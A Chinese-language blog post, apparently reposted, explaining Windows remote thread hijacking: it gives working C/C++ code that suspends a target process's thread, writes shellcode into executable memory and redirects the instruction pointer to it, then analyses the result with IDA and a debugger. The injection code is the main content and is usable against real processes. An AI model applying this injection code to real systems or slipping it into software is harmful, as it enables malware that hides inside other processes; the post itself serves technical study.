windows:shellcode 遠程線程hook/注入(一)


  https://www.cnblogs.com/theseventhson/p/13199381.html 上次分享了通過APC注入方式,讓目標線程運行shellcode。這么做有個前提條件:目標線程是alertable的,否則注入了也不會立即被執行,直到狀態改為alertable,但筆者暫時沒找到能把目標線程狀態主動改為alertable的辦法,所以只能被動“聽天由命”地等。今天介紹另一種遠程線程注入的方式:hook 線程;

  先說第一種思路,如下:

          

  核心代碼解析如下:

  1、用於測試的目標進程:這里寫個死循環,讓其一直運行,方便隨時被注入;

#include <windows.h>
#include <stdio.h>

int main() 
{
    printf("dead looping...............\n");
    while (TRUE) 
    {

    }
}

  注意:本人測試環境:

       

  win10 x64為了確保安全,默認增加了很多防護,比如控制流防護CFG,編譯的時候需要手動改成否,才能讓我們注入的shellcode順利執行;

  

   2、遍歷進程,找到目標進程后再遍歷該進程名下其他線程:

HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS | TH32CS_SNAPTHREAD, 0);
    HANDLE victimProcess = NULL;
    PROCESSENTRY32 processEntry = { sizeof(PROCESSENTRY32) };
    THREADENTRY32 threadEntry = { sizeof(THREADENTRY32) };
    std::vector<DWORD> threadIds;
    HANDLE threadHandle = NULL;

    if (Process32First(snapshot, &processEntry)) {
        while (_wcsicmp(processEntry.szExeFile, L"Thread_Alertable.exe") != 0) {
        //while (_wcsicmp(processEntry.szExeFile, L"explorer.exe") != 0) {
            Process32Next(snapshot, &processEntry);
        }
    }

    victimProcess = OpenProcess(PROCESS_ALL_ACCESS, 0, processEntry.th32ProcessID);

    if (Thread32First(snapshot, &threadEntry)) {
        do {
            if (threadEntry.th32OwnerProcessID == processEntry.th32ProcessID) {
                threadIds.push_back(threadEntry.th32ThreadID);
            }
        } while (Thread32Next(snapshot, &threadEntry));
    }

    for (DWORD threadId : threadIds) {
        threadHandle = OpenThread(THREAD_ALL_ACCESS, NULL, threadId);
        if (Wow64SuspendThread(threadHandle) == -1) //掛起線程失敗
        {
            continue;
        }
        printf("threadId:%d\n", threadId);
        if (InjectThread(victimProcess, threadHandle,buf, shellcodeSize))
        {
            printf("threadID = %d inject success!", threadId);
            CloseHandle(victimProcess);
            CloseHandle(threadHandle);
            break;
        }
    }

  3、shellcode代碼注入,思路也簡單:之前已經已經拿到目標進程和目標線程的句柄,並且已經暫定線程,這里直接GetThreadContext,更改eip為shellcode地址即可;

BOOL InjectThread(HANDLE hProcess, HANDLE hThread, unsigned char buf[],int shellcodeSize)
{
    LPVOID shellAddress = VirtualAllocEx(hProcess, NULL, shellcodeSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    if (shellAddress == NULL)
    {
        printf("VirtualAlloc Error\n");
        VirtualFreeEx(hProcess, shellAddress, 0, MEM_RELEASE );
        ResumeThread(hThread);
        return FALSE;
    }

    WOW64_CONTEXT ctx = { 0 };
    ctx.ContextFlags = CONTEXT_ALL;

    if (!Wow64GetThreadContext(hThread, &ctx))
    {
        int a = GetLastError();
        printf("GetThreadContext Error:%d\n", a);
        VirtualFreeEx(hProcess, shellAddress, 0, MEM_RELEASE);
        ResumeThread(hThread);
        return FALSE;
    }
    DWORD currentEIP = ctx.Eip;
    if (WriteProcessMemory(hProcess, (LPVOID)shellAddress, buf, shellcodeSize, NULL) == 0)
    {
        VirtualFreeEx(hProcess, shellAddress, 0, MEM_RELEASE);
        printf("write shellcode error\n");
        ResumeThread(hThread);
        return FALSE;
    }
    ctx.Eip = (DWORD)shellAddress;//讓eip指向shellcode
    if (!Wow64SetThreadContext(hThread, &ctx))
    {
        VirtualFreeEx(hProcess, shellAddress, 0, MEM_RELEASE);
        printf("set thread context error\n");
        ResumeThread(hThread);
        return FALSE;
    }
    ResumeThread(hThread);
    return TRUE;
}

       效果:彈出了messagebox:

       

       也在目標進程的目錄下生成了文件:

      

  4、最后做一些總結:

  •     為了讓被注入的目標進程一直運行,剛開始用了sleep,從process hacker看能正常suspend,但無法resume,shellcode也無法執行;后來改成死循環,能正常執行shellcode了;
  •     shellcode執行完后,從打印的數據來看,貌似又從main開始運行,如下:

    

    從process hacker看,線程並未改變,還是之前的那個:

     

    那么問題來了,shellcode執行完回到主線程后為啥又執行了打印代碼?仔細想想,shellcode最后一條有效指令是C3,也就是ret,該指令把棧頂4個字節作為返回地址賦值給eip;既然dead looping打印了兩次,說明執行shellcode執行前棧頂被壓入了這行代碼的地址,這是誰干的了?用IDA打開目標進程分析,如下:

    

     好在自己寫的測試進程不復雜,很容易找到答案,分析如下:

             (1)由於cpu執行速度很快,注入shellcode的進程(以下簡稱loader)在執行suspendThread時大概率已經進入while死循環,從上面匯編代碼來看,while循環並未改變堆棧,所以shellcdoe執行完后ret的地址肯定不是while循環更改的;

             (2)繼續往上倒推:add esp,4 這是進入死循環最后一行改變棧頂的代碼,為了更直觀說明,我畫了一個堆棧圖,對照代碼如下:

            

     從函數入口點開始,改變堆棧,期間有兩個call和一個push,這3行指令會改變esp;最后執行完add esp,4后,esp重新指向原edi;shellcode最后一行ret執行時,會從堆棧中該值彈出賦值給eip。那么原edi值又是多少了?用調試器打開測試進程,在main入口斷下,發現edi指向的時EntryPoint,也就是說shellcode最后一個ret指令會跳轉到這里開始執行;

        

             這里也能看到棧頂是EntryPoint的地址:

             

   5、 這次注入shellcode雖說成功,問題也很明顯:

  •    手動關閉了CFG檢查,但實際情況是CFG默認是開啟的,導致shellcode可能無法執行
  •    沒有設置返回地址,shellcode執行完,返回地址無法控制(這里只是湊巧回到了原EntryPoint);因suspendThread是隨機的,context的eip也是隨機的,所以shellcode執行完后返回地址也是隨機的,這點在shellode無法寫死,只能動態獲取;我曾經嘗試在shellcode末尾添加push+ret方式返回,但suspend的地址可能包含很多00,通過字符串操作的時候可能會被截斷,暫時沒想到好的解決辦法;
  •    類似explorer這種系統進程,GetThreadContex大概率會失敗,可能做了保護;

     后續會通過其他方案挨個解決這些問題!


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM